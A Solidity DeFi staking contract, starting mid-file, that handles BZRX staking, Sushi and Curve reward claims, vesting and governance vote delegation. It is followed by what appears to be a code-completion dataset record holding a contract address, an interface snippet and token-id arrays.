if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
contract StakingV1_1 is StakingState, StakingConstants, PausableGuardian {
using MathUtil for uint256;
modifier onlyEOA() {
require(msg.sender == tx.origin, "unauthorized");
_;
}
function getCurrentFeeTokens()
external
view
returns (address[] memory)
{
return currentFeeTokens;
}
function _pendingSushiRewards(address _user)
internal
view
returns (uint256)
{
uint256 pendingSushi = IMasterChefSushi(SUSHI_MASTERCHEF)
.pendingSushi(BZRX_ETH_SUSHI_MASTERCHEF_PID, address(this));
uint256 totalSupply = _totalSupplyPerToken[LPToken];
return _pendingAltRewards(
SUSHI,
_user,
balanceOfByAsset(LPToken, _user),
totalSupply != 0 ? pendingSushi.mul(1e12).div(totalSupply) : 0
);
}
function pendingCrvRewards(address account) external returns(uint256){
(uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting) = _earned(
account,
bzrxPerTokenStored,
stableCoinPerTokenStored
);
(,stableCoinRewardsEarned) = _syncVesting(
account,
bzrxRewardsEarned,
stableCoinRewardsEarned,
bzrxRewardsVesting,
stableCoinRewardsVesting
);
return _pendingCrvRewards(account, stableCoinRewardsEarned);
}
function _pendingCrvRewards(address _user, uint256 stableCoinRewardsEarned)
internal
returns (uint256)
{
uint256 totalSupply = curve3PoolGauge.balanceOf(address(this));
uint256 pendingCrv = curve3PoolGauge.claimable_tokens(address(this));
return _pendingAltRewards(
CRV,
_user,
stableCoinRewardsEarned,
(totalSupply != 0) ? pendingCrv.mul(1e12).div(totalSupply) : 0
);
}
function _pendingAltRewards(address token, address _user, uint256 userSupply, uint256 extraRewardsPerShare)
internal
view
returns (uint256)
{
uint256 _altRewardsPerShare = altRewardsPerShare[token].add(extraRewardsPerShare);
if (_altRewardsPerShare == 0)
return 0;
IStaking.AltRewardsUserInfo memory altRewardsUserInfo = userAltRewardsPerShare[_user][token];
return altRewardsUserInfo.pendingRewards.add(
(_altRewardsPerShare.sub(altRewardsUserInfo.rewardsPerShare)).mul(userSupply).div(1e12)
);
}
function _depositToSushiMasterchef(uint256 amount)
internal
{
uint256 sushiBalanceBefore = IERC20(SUSHI).balanceOf(address(this));
IMasterChefSushi(SUSHI_MASTERCHEF).deposit(
BZRX_ETH_SUSHI_MASTERCHEF_PID,
amount
);
uint256 sushiRewards = IERC20(SUSHI).balanceOf(address(this)) - sushiBalanceBefore;
if (sushiRewards != 0) {
_addAltRewards(SUSHI, sushiRewards);
}
}
function _withdrawFromSushiMasterchef(uint256 amount)
internal
{
uint256 sushiBalanceBefore = IERC20(SUSHI).balanceOf(address(this));
IMasterChefSushi(SUSHI_MASTERCHEF).withdraw(
BZRX_ETH_SUSHI_MASTERCHEF_PID,
amount
);
uint256 sushiRewards = IERC20(SUSHI).balanceOf(address(this)) - sushiBalanceBefore;
if (sushiRewards != 0) {
_addAltRewards(SUSHI, sushiRewards);
}
}
function _depositTo3Pool(
uint256 amount)
internal
{
if(amount == 0)
curve3PoolGauge.deposit(curve3Crv.balanceOf(address(this)));
// Trigger claim rewards from curve pool
uint256 crvBalanceBefore = IERC20(CRV).balanceOf(address(this));
curveMinter.mint(address(curve3PoolGauge));
uint256 crvBalanceAfter = IERC20(CRV).balanceOf(address(this)) - crvBalanceBefore;
if(crvBalanceAfter != 0){
_addAltRewards(CRV, crvBalanceAfter);
}
}
function _withdrawFrom3Pool(uint256 amount)
internal
{
if(amount != 0)
curve3PoolGauge.withdraw(amount);
//Trigger claim rewards from curve pool
uint256 crvBalanceBefore = IERC20(CRV).balanceOf(address(this));
curveMinter.mint(address(curve3PoolGauge));
uint256 crvBalanceAfter = IERC20(CRV).balanceOf(address(this)) - crvBalanceBefore;
if(crvBalanceAfter != 0){
_addAltRewards(CRV, crvBalanceAfter);
}
}
function stake(
address[] memory tokens,
uint256[] memory values
)
public
pausable
updateRewards(msg.sender)
{
require(tokens.length == values.length, "count mismatch");
StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator);
address currentDelegate = _voteDelegator.delegates(msg.sender);
ProposalState memory _proposalState = _getProposalState();
uint256 votingBalanceBefore = _votingFromStakedBalanceOf(msg.sender, _proposalState, true);
for (uint256 i = 0; i < tokens.length; i++) {
address token = tokens[i];
require(token == BZRX || token == vBZRX || token == iBZRX || token == LPToken, "invalid token");
uint256 stakeAmount = values[i];
if (stakeAmount == 0) {
continue;
}
uint256 pendingBefore = (token == LPToken) ? _pendingSushiRewards(msg.sender) : 0;
_balancesPerToken[token][msg.sender] = _balancesPerToken[token][msg.sender].add(stakeAmount);
_totalSupplyPerToken[token] = _totalSupplyPerToken[token].add(stakeAmount);
IERC20(token).safeTransferFrom(msg.sender, address(this), stakeAmount);
// Deposit to sushi masterchef
if (token == LPToken) {
_depositToSushiMasterchef(
IERC20(LPToken).balanceOf(address(this))
);
userAltRewardsPerShare[msg.sender][SUSHI] = IStaking.AltRewardsUserInfo({
rewardsPerShare: altRewardsPerShare[SUSHI],
pendingRewards: pendingBefore
}
);
}
emit Stake(
msg.sender,
token,
currentDelegate,
stakeAmount
);
}
_voteDelegator.moveDelegates(ZERO_ADDRESS, currentDelegate, _votingFromStakedBalanceOf(msg.sender, _proposalState, true).sub(votingBalanceBefore));
}
function unstake(
address[] memory tokens,
uint256[] memory values
)
public
pausable
updateRewards(msg.sender)
{
require(tokens.length == values.length, "count mismatch");
StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator);
address currentDelegate = _voteDelegator.delegates(msg.sender);
ProposalState memory _proposalState = _getProposalState();
uint256 votingBalanceBefore = _votingFromStakedBalanceOf(msg.sender, _proposalState, true);
for (uint256 i = 0; i < tokens.length; i++) {
address token = tokens[i];
require(token == BZRX || token == vBZRX || token == iBZRX || token == LPToken || token == LPTokenOld, "invalid token");
uint256 unstakeAmount = values[i];
uint256 stakedAmount = _balancesPerToken[token][msg.sender];
if (unstakeAmount == 0 || stakedAmount == 0) {
continue;
}
if (unstakeAmount > stakedAmount) {
unstakeAmount = stakedAmount;
}
uint256 pendingBefore = (token == LPToken) ? _pendingSushiRewards(msg.sender) : 0;
_balancesPerToken[token][msg.sender] = stakedAmount - unstakeAmount; // will not overflow
_totalSupplyPerToken[token] = _totalSupplyPerToken[token] - unstakeAmount; // will not overflow
if (token == BZRX && IERC20(BZRX).balanceOf(address(this)) < unstakeAmount) {
// settle vested BZRX only if needed
IVestingToken(vBZRX).claim();
}
// Withdraw to sushi masterchef
if (token == LPToken) {
_withdrawFromSushiMasterchef(unstakeAmount);
userAltRewardsPerShare[msg.sender][SUSHI] = IStaking.AltRewardsUserInfo({
rewardsPerShare: altRewardsPerShare[SUSHI],
pendingRewards: pendingBefore
}
);
}
IERC20(token).safeTransfer(msg.sender, unstakeAmount);
emit Unstake(
msg.sender,
token,
currentDelegate,
unstakeAmount
);
}
_voteDelegator.moveDelegates(currentDelegate, ZERO_ADDRESS, votingBalanceBefore.sub(_votingFromStakedBalanceOf(msg.sender, _proposalState, true)));
}
function claim(
bool restake)
external
pausable
updateRewards(msg.sender)
returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned)
{
return _claim(restake);
}
function claimAltRewards()
external
pausable
returns (uint256 sushiRewardsEarned, uint256 crvRewardsEarned)
{
sushiRewardsEarned = _claimSushi();
crvRewardsEarned = _claimCrv();
if(sushiRewardsEarned != 0){
emit ClaimAltRewards(msg.sender, SUSHI, sushiRewardsEarned);
}
if(crvRewardsEarned != 0){
emit ClaimAltRewards(msg.sender, CRV, crvRewardsEarned);
}
}
function claimBzrx()
external
pausable
updateRewards(msg.sender)
returns (uint256 bzrxRewardsEarned)
{
bzrxRewardsEarned = _claimBzrx(false);
emit Claim(
msg.sender,
bzrxRewardsEarned,
0
);
}
function claim3Crv()
external
pausable
updateRewards(msg.sender)
returns (uint256 stableCoinRewardsEarned)
{
stableCoinRewardsEarned = _claim3Crv();
emit Claim(
msg.sender,
0,
stableCoinRewardsEarned
);
}
function claimSushi()
external
pausable
returns (uint256 sushiRewardsEarned)
{
sushiRewardsEarned = _claimSushi();
if(sushiRewardsEarned != 0){
emit ClaimAltRewards(msg.sender, SUSHI, sushiRewardsEarned);
}
}
function claimCrv()
external
pausable
returns (uint256 crvRewardsEarned)
{
crvRewardsEarned = _claimCrv();
if(crvRewardsEarned != 0){
emit ClaimAltRewards(msg.sender, CRV, crvRewardsEarned);
}
}
function _claim(
bool restake)
internal
returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned)
{
bzrxRewardsEarned = _claimBzrx(restake);
stableCoinRewardsEarned = _claim3Crv();
emit Claim(
msg.sender,
bzrxRewardsEarned,
stableCoinRewardsEarned
);
}
function _claimBzrx(
bool restake)
internal
returns (uint256 bzrxRewardsEarned)
{
bzrxRewardsEarned = bzrxRewards[msg.sender];
if (bzrxRewardsEarned != 0) {
bzrxRewards[msg.sender] = 0;
if (restake) {
_restakeBZRX(
msg.sender,
bzrxRewardsEarned
);
} else {
if (IERC20(BZRX).balanceOf(address(this)) < bzrxRewardsEarned) {
// settle vested BZRX only if needed
IVestingToken(vBZRX).claim();
}
IERC20(BZRX).transfer(msg.sender, bzrxRewardsEarned);
}
}
}
function _claim3Crv()
internal
returns (uint256 stableCoinRewardsEarned)
{
stableCoinRewardsEarned = stableCoinRewards[msg.sender];
if (stableCoinRewardsEarned != 0) {
uint256 pendingCrv = _pendingCrvRewards(msg.sender, stableCoinRewardsEarned);
uint256 curve3CrvBalance = curve3Crv.balanceOf(address(this));
_withdrawFrom3Pool(stableCoinRewardsEarned);
userAltRewardsPerShare[msg.sender][CRV] = IStaking.AltRewardsUserInfo({
rewardsPerShare: altRewardsPerShare[CRV],
pendingRewards: pendingCrv
}
);
stableCoinRewards[msg.sender] = 0;
curve3Crv.transfer(msg.sender, stableCoinRewardsEarned);
}
}
function _claimSushi()
internal
returns (uint256)
{
address _user = msg.sender;
uint256 lptUserSupply = balanceOfByAsset(LPToken, _user);
//This will trigger claim rewards from sushi masterchef
_depositToSushiMasterchef(
IERC20(LPToken).balanceOf(address(this))
);
uint256 pendingSushi = _pendingAltRewards(SUSHI, _user, lptUserSupply, 0);
userAltRewardsPerShare[_user][SUSHI] = IStaking.AltRewardsUserInfo({
rewardsPerShare: altRewardsPerShare[SUSHI],
pendingRewards: 0
}
);
if (pendingSushi != 0) {
IERC20(SUSHI).safeTransfer(_user, pendingSushi);
}
return pendingSushi;
}
function _claimCrv()
internal
returns (uint256)
{
address _user = msg.sender;
_depositTo3Pool(0);
(,uint256 stableCoinRewardsEarned,,) = _earned(_user, bzrxPerTokenStored, stableCoinPerTokenStored);
uint256 pendingCrv = _pendingCrvRewards(_user, stableCoinRewardsEarned);
userAltRewardsPerShare[_user][CRV] = IStaking.AltRewardsUserInfo({
rewardsPerShare: altRewardsPerShare[CRV],
pendingRewards: 0
}
);
if (pendingCrv != 0) {
IERC20(CRV).safeTransfer(_user, pendingCrv);
}
return pendingCrv;
}
function _restakeBZRX(
address account,
uint256 amount)
internal
{
StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator);
address currentDelegate = _voteDelegator.delegates(msg.sender);
ProposalState memory _proposalState = _getProposalState();
uint256 votingBalanceBefore = _votingFromStakedBalanceOf(msg.sender, _proposalState, true);
_balancesPerToken[BZRX][account] = _balancesPerToken[BZRX][account]
.add(amount);
_totalSupplyPerToken[BZRX] = _totalSupplyPerToken[BZRX]
.add(amount);
emit Stake(
account,
BZRX,
currentDelegate,
amount
);
_voteDelegator.moveDelegates(ZERO_ADDRESS, currentDelegate, _votingFromStakedBalanceOf(msg.sender, _proposalState, true).sub(votingBalanceBefore));
}
function exit()
public
// unstake() does check pausable
{
address[] memory tokens = new address[](4);
uint256[] memory values = new uint256[](4);
tokens[0] = iBZRX;
tokens[1] = LPToken;
tokens[2] = vBZRX;
tokens[3] = BZRX;
values[0] = uint256(-1);
values[1] = uint256(-1);
values[2] = uint256(-1);
values[3] = uint256(-1);
unstake(tokens, values); // calls updateRewards
_claim(false);
}
modifier updateRewards(address account) {
uint256 _bzrxPerTokenStored = bzrxPerTokenStored;
uint256 _stableCoinPerTokenStored = stableCoinPerTokenStored;
(uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting) = _earned(
account,
_bzrxPerTokenStored,
_stableCoinPerTokenStored
);
bzrxRewardsPerTokenPaid[account] = _bzrxPerTokenStored;
stableCoinRewardsPerTokenPaid[account] = _stableCoinPerTokenStored;
// vesting amounts get updated before sync
bzrxVesting[account] = bzrxRewardsVesting;
stableCoinVesting[account] = stableCoinRewardsVesting;
(bzrxRewards[account], stableCoinRewards[account]) = _syncVesting(
account,
bzrxRewardsEarned,
stableCoinRewardsEarned,
bzrxRewardsVesting,
stableCoinRewardsVesting
);
vestingLastSync[account] = block.timestamp;
_;
}
function earned(
address account)
external
view
returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting,
uint256 stableCoinRewardsVesting, uint256 sushiRewardsEarned)
{
(bzrxRewardsEarned, stableCoinRewardsEarned, bzrxRewardsVesting, stableCoinRewardsVesting) = _earned(
account,
bzrxPerTokenStored,
stableCoinPerTokenStored
);
(bzrxRewardsEarned, stableCoinRewardsEarned) = _syncVesting(
account,
bzrxRewardsEarned,
stableCoinRewardsEarned,
bzrxRewardsVesting,
stableCoinRewardsVesting
);
// discount vesting amounts for vesting time
uint256 multiplier = vestedBalanceForAmount(
1e36,
0,
block.timestamp
);
bzrxRewardsVesting = bzrxRewardsVesting
.sub(bzrxRewardsVesting
.mul(multiplier)
.div(1e36)
);
stableCoinRewardsVesting = stableCoinRewardsVesting
.sub(stableCoinRewardsVesting
.mul(multiplier)
.div(1e36)
);
uint256 pendingSushi = IMasterChefSushi(SUSHI_MASTERCHEF)
.pendingSushi(BZRX_ETH_SUSHI_MASTERCHEF_PID, address(this));
sushiRewardsEarned = _pendingAltRewards(
SUSHI,
account,
balanceOfByAsset(LPToken, account),
(_totalSupplyPerToken[LPToken] != 0) ? pendingSushi.mul(1e12).div(_totalSupplyPerToken[LPToken]) : 0
);
}
function _earned(
address account,
uint256 _bzrxPerToken,
uint256 _stableCoinPerToken)
internal
view
returns (uint256 bzrxRewardsEarned, uint256 stableCoinRewardsEarned, uint256 bzrxRewardsVesting, uint256 stableCoinRewardsVesting)
{
uint256 bzrxPerTokenUnpaid = _bzrxPerToken.sub(bzrxRewardsPerTokenPaid[account]);
uint256 stableCoinPerTokenUnpaid = _stableCoinPerToken.sub(stableCoinRewardsPerTokenPaid[account]);
bzrxRewardsEarned = bzrxRewards[account];
stableCoinRewardsEarned = stableCoinRewards[account];
bzrxRewardsVesting = bzrxVesting[account];
stableCoinRewardsVesting = stableCoinVesting[account];
if (bzrxPerTokenUnpaid != 0 || stableCoinPerTokenUnpaid != 0) {
uint256 value;
uint256 multiplier;
uint256 lastSync;
(uint256 vestedBalance, uint256 vestingBalance) = balanceOfStored(account);
value = vestedBalance
.mul(bzrxPerTokenUnpaid);
value /= 1e36;
bzrxRewardsEarned = value
.add(bzrxRewardsEarned);
value = vestedBalance
.mul(stableCoinPerTokenUnpaid);
value /= 1e36;
stableCoinRewardsEarned = value
.add(stableCoinRewardsEarned);
if (vestingBalance != 0 && bzrxPerTokenUnpaid != 0) {
// add new vesting amount for BZRX
value = vestingBalance
.mul(bzrxPerTokenUnpaid);
value /= 1e36;
bzrxRewardsVesting = bzrxRewardsVesting
.add(value);
// true up earned amount to vBZRX vesting schedule
lastSync = vestingLastSync[account];
multiplier = vestedBalanceForAmount(
1e36,
0,
lastSync
);
value = value
.mul(multiplier);
value /= 1e36;
bzrxRewardsEarned = bzrxRewardsEarned
.add(value);
}
if (vestingBalance != 0 && stableCoinPerTokenUnpaid != 0) {
// add new vesting amount for 3crv
value = vestingBalance
.mul(stableCoinPerTokenUnpaid);
value /= 1e36;
stableCoinRewardsVesting = stableCoinRewardsVesting
.add(value);
// true up earned amount to vBZRX vesting schedule
if (lastSync == 0) {
lastSync = vestingLastSync[account];
multiplier = vestedBalanceForAmount(
1e36,
0,
lastSync
);
}
value = value
.mul(multiplier);
value /= 1e36;
stableCoinRewardsEarned = stableCoinRewardsEarned
.add(value);
}
}
}
function _syncVesting(
address account,
uint256 bzrxRewardsEarned,
uint256 stableCoinRewardsEarned,
uint256 bzrxRewardsVesting,
uint256 stableCoinRewardsVesting)
internal
view
returns (uint256, uint256)
{
uint256 lastVestingSync = vestingLastSync[account];
if (lastVestingSync != block.timestamp) {
uint256 rewardsVested;
uint256 multiplier = vestedBalanceForAmount(
1e36,
lastVestingSync,
block.timestamp
);
if (bzrxRewardsVesting != 0) {
rewardsVested = bzrxRewardsVesting
.mul(multiplier)
.div(1e36);
bzrxRewardsEarned += rewardsVested;
}
if (stableCoinRewardsVesting != 0) {
rewardsVested = stableCoinRewardsVesting
.mul(multiplier)
.div(1e36);
stableCoinRewardsEarned += rewardsVested;
}
uint256 vBZRXBalance = _balancesPerToken[vBZRX][account];
if (vBZRXBalance != 0) {
// add vested BZRX to rewards balance
rewardsVested = vBZRXBalance
.mul(multiplier)
.div(1e36);
bzrxRewardsEarned += rewardsVested;
}
}
return (bzrxRewardsEarned, stableCoinRewardsEarned);
}
// note: anyone can contribute rewards to the contract
function addDirectRewards(
address[] calldata accounts,
uint256[] calldata bzrxAmounts,
uint256[] calldata stableCoinAmounts)
external
pausable
returns (uint256 bzrxTotal, uint256 stableCoinTotal)
{
require(accounts.length == bzrxAmounts.length && accounts.length == stableCoinAmounts.length, "count mismatch");
for (uint256 i = 0; i < accounts.length; i++) {
bzrxRewards[accounts[i]] = bzrxRewards[accounts[i]].add(bzrxAmounts[i]);
bzrxTotal = bzrxTotal.add(bzrxAmounts[i]);
stableCoinRewards[accounts[i]] = stableCoinRewards[accounts[i]].add(stableCoinAmounts[i]);
stableCoinTotal = stableCoinTotal.add(stableCoinAmounts[i]);
}
if (bzrxTotal != 0) {
IERC20(BZRX).transferFrom(msg.sender, address(this), bzrxTotal);
}
if (stableCoinTotal != 0) {
curve3Crv.transferFrom(msg.sender, address(this), stableCoinTotal);
_depositTo3Pool(stableCoinTotal);
}
}
// note: anyone can contribute rewards to the contract
function addRewards(
uint256 newBZRX,
uint256 newStableCoin)
external
pausable
{
if (newBZRX != 0 || newStableCoin != 0) {
_addRewards(newBZRX, newStableCoin);
if (newBZRX != 0) {
IERC20(BZRX).transferFrom(msg.sender, address(this), newBZRX);
}
if (newStableCoin != 0) {
curve3Crv.transferFrom(msg.sender, address(this), newStableCoin);
_depositTo3Pool(newStableCoin);
}
}
}
function _addRewards(
uint256 newBZRX,
uint256 newStableCoin)
internal
{
(vBZRXWeightStored, iBZRXWeightStored, LPTokenWeightStored) = getVariableWeights();
uint256 totalTokens = totalSupplyStored();
require(totalTokens != 0, "nothing staked");
bzrxPerTokenStored = newBZRX
.mul(1e36)
.div(totalTokens)
.add(bzrxPerTokenStored);
stableCoinPerTokenStored = newStableCoin
.mul(1e36)
.div(totalTokens)
.add(stableCoinPerTokenStored);
lastRewardsAddTime = block.timestamp;
emit AddRewards(
msg.sender,
newBZRX,
newStableCoin
);
}
function addAltRewards(address token, uint256 amount) public {
if (amount != 0) {
_addAltRewards(token, amount);
IERC20(token).transferFrom(msg.sender, address(this), amount);
}
}
function _addAltRewards(address token, uint256 amount) internal {
address poolAddress = token == SUSHI ? LPToken : token;
uint256 totalSupply = (token == CRV) ? curve3PoolGauge.balanceOf(address(this)) :_totalSupplyPerToken[poolAddress];
require(totalSupply != 0, "no deposits");
altRewardsPerShare[token] = altRewardsPerShare[token]
.add(amount.mul(1e12).div(totalSupply));
emit AddAltRewards(msg.sender, token, amount);
}
function getVariableWeights()
public
view
returns (uint256 vBZRXWeight, uint256 iBZRXWeight, uint256 LPTokenWeight)
{
uint256 totalVested = vestedBalanceForAmount(
_startingVBZRXBalance,
0,
block.timestamp
);
vBZRXWeight = SafeMath.mul(_startingVBZRXBalance - totalVested, 1e18) // overflow not possible
.div(_startingVBZRXBalance);
iBZRXWeight = _calcIBZRXWeight();
uint256 lpTokenSupply = _totalSupplyPerToken[LPToken];
if (lpTokenSupply != 0) {
// staked LP tokens are assumed to represent the total unstaked supply (circulated supply - staked BZRX)
uint256 normalizedLPTokenSupply = initialCirculatingSupply +
totalVested -
_totalSupplyPerToken[BZRX];
LPTokenWeight = normalizedLPTokenSupply
.mul(1e18)
.div(lpTokenSupply);
}
}
function _calcIBZRXWeight()
internal
view
returns (uint256)
{
return IERC20(BZRX).balanceOf(iBZRX)
.mul(1e50)
.div(IERC20(iBZRX).totalSupply());
}
function balanceOfByAsset(
address token,
address account)
public
view
returns (uint256 balance)
{
balance = _balancesPerToken[token][account];
}
function balanceOfByAssets(
address account)
external
view
returns (
uint256 bzrxBalance,
uint256 iBZRXBalance,
uint256 vBZRXBalance,
uint256 LPTokenBalance,
uint256 LPTokenBalanceOld
)
{
return (
balanceOfByAsset(BZRX, account),
balanceOfByAsset(iBZRX, account),
balanceOfByAsset(vBZRX, account),
balanceOfByAsset(LPToken, account),
balanceOfByAsset(LPTokenOld, account)
);
}
function balanceOfStored(
address account)
public
view
returns (uint256 vestedBalance, uint256 vestingBalance)
{
uint256 balance = _balancesPerToken[vBZRX][account];
if (balance != 0) {
vestingBalance = balance
.mul(vBZRXWeightStored)
.div(1e18);
}
vestedBalance = _balancesPerToken[BZRX][account];
balance = _balancesPerToken[iBZRX][account];
if (balance != 0) {
vestedBalance = balance
.mul(iBZRXWeightStored)
.div(1e50)
.add(vestedBalance);
}
balance = _balancesPerToken[LPToken][account];
if (balance != 0) {
vestedBalance = balance
.mul(LPTokenWeightStored)
.div(1e18)
.add(vestedBalance);
}
}
function totalSupplyByAsset(
address token)
external
view
returns (uint256)
{
return _totalSupplyPerToken[token];
}
function totalSupplyStored()
public
view
returns (uint256 supply)
{
supply = _totalSupplyPerToken[vBZRX]
.mul(vBZRXWeightStored)
.div(1e18);
supply = _totalSupplyPerToken[BZRX]
.add(supply);
supply = _totalSupplyPerToken[iBZRX]
.mul(iBZRXWeightStored)
.div(1e50)
.add(supply);
supply = _totalSupplyPerToken[LPToken]
.mul(LPTokenWeightStored)
.div(1e18)
.add(supply);
}
function vestedBalanceForAmount(
uint256 tokenBalance,
uint256 lastUpdate,
uint256 vestingEndTime)
public
view
returns (uint256 vested)
{
vestingEndTime = vestingEndTime.min256(block.timestamp);
if (vestingEndTime > lastUpdate) {
if (vestingEndTime <= vestingCliffTimestamp ||
lastUpdate >= vestingEndTimestamp) {
// time cannot be before vesting starts
// OR all vested token has already been claimed
return 0;
}
if (lastUpdate < vestingCliffTimestamp) {
// vesting starts at the cliff timestamp
lastUpdate = vestingCliffTimestamp;
}
if (vestingEndTime > vestingEndTimestamp) {
// vesting ends at the end timestamp
vestingEndTime = vestingEndTimestamp;
}
uint256 timeSinceClaim = vestingEndTime.sub(lastUpdate);
vested = tokenBalance.mul(timeSinceClaim) / vestingDurationAfterCliff; // will never divide by 0
}
}
function votingFromStakedBalanceOf(
address account)
external
view
returns (uint256 totalVotes)
{
return _votingFromStakedBalanceOf(account, _getProposalState(), true);
}
function votingBalanceOf(
address account,
uint256 proposalId)
external
view
returns (uint256 totalVotes)
{
(,,,uint256 startBlock,,,,,,) = GovernorBravoDelegateStorageV1(governor).proposals(proposalId);
if (startBlock == 0) return 0;
return _votingBalanceOf(account, _proposalState[proposalId], startBlock - 1);
}
function votingBalanceOfNow(
address account)
external
view
returns (uint256 totalVotes)
{
return _votingBalanceOf(account, _getProposalState(), block.number - 1);
}
function _setProposalVals(
address account,
uint256 proposalId)
public
returns (uint256)
{
require(msg.sender == governor, "unauthorized");
require(_proposalState[proposalId].proposalTime == 0, "proposal exists");
ProposalState memory newProposal = _getProposalState();
_proposalState[proposalId] = newProposal;
return _votingBalanceOf(account, newProposal, block.number - 1);
}
function _getProposalState()
internal
view
returns (ProposalState memory)
{
return ProposalState({
proposalTime: block.timestamp - 1,
iBZRXWeight: _calcIBZRXWeight(),
lpBZRXBalance: 0, // IERC20(BZRX).balanceOf(LPToken),
lpTotalSupply: 0 //IERC20(LPToken).totalSupply()
});
}
// Voting balance not including delegated votes
function _votingFromStakedBalanceOf(
address account,
ProposalState memory proposal,
bool skipVestingLastSyncCheck)
internal
view
returns (uint256 totalVotes)
{
uint256 _vestingLastSync = vestingLastSync[account];
if (proposal.proposalTime == 0 || (!skipVestingLastSyncCheck && _vestingLastSync > proposal.proposalTime - 1)) {
return 0;
}
// user is attributed a staked balance of vested BZRX, from their last update to the present
totalVotes = vestedBalanceForAmount(
_balancesPerToken[vBZRX][account],
_vestingLastSync,
proposal.proposalTime
);
totalVotes = _balancesPerToken[BZRX][account]
.add(bzrxRewards[account]) // unclaimed BZRX rewards count as votes
.add(totalVotes);
totalVotes = _balancesPerToken[iBZRX][account]
.mul(proposal.iBZRXWeight)
.div(1e50)
.add(totalVotes);
}
// Voting balance including delegated votes
function _votingBalanceOf(
address account,
ProposalState memory proposal,
uint blocknumber)
internal
view
returns (uint256 totalVotes)
{
StakingVoteDelegator _voteDelegator = StakingVoteDelegator(voteDelegator);
address _delegate = _voteDelegator.delegates(account);
if(_delegate == ZERO_ADDRESS) { // has not delegated yet
return _voteDelegator.getPriorVotes(account, blocknumber).add(_votingFromStakedBalanceOf(account, proposal, false));
}
return _voteDelegator.getPriorVotes(account, blocknumber);
}
// OnlyOwner functions
function updateSettings(
address settingsTarget,
bytes memory callData)
public
onlyOwner
returns(bytes memory)
{
(bool result,) = settingsTarget.delegatecall(callData);
assembly {
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
if eq(result, 0) { revert(ptr, size) }
return(ptr, size)
}
}
} | 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 eth mainnet | interface ICurveMinter {
function mint(
address _addr
)
external;
}
| 260,204 | [
1,
20,
7669,
7677,
21,
40,
9498,
69,
24,
72,
29,
9803,
71,
5520,
41,
6564,
25,
5026,
4763,
38,
4449,
7950,
40,
71,
5558,
21,
39,
22,
7142,
41,
20,
13750,
2774,
2758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
467,
9423,
49,
2761,
288,
203,
203,
565,
445,
312,
474,
12,
203,
3639,
1758,
389,
4793,
203,
565,
262,
203,
565,
3903,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
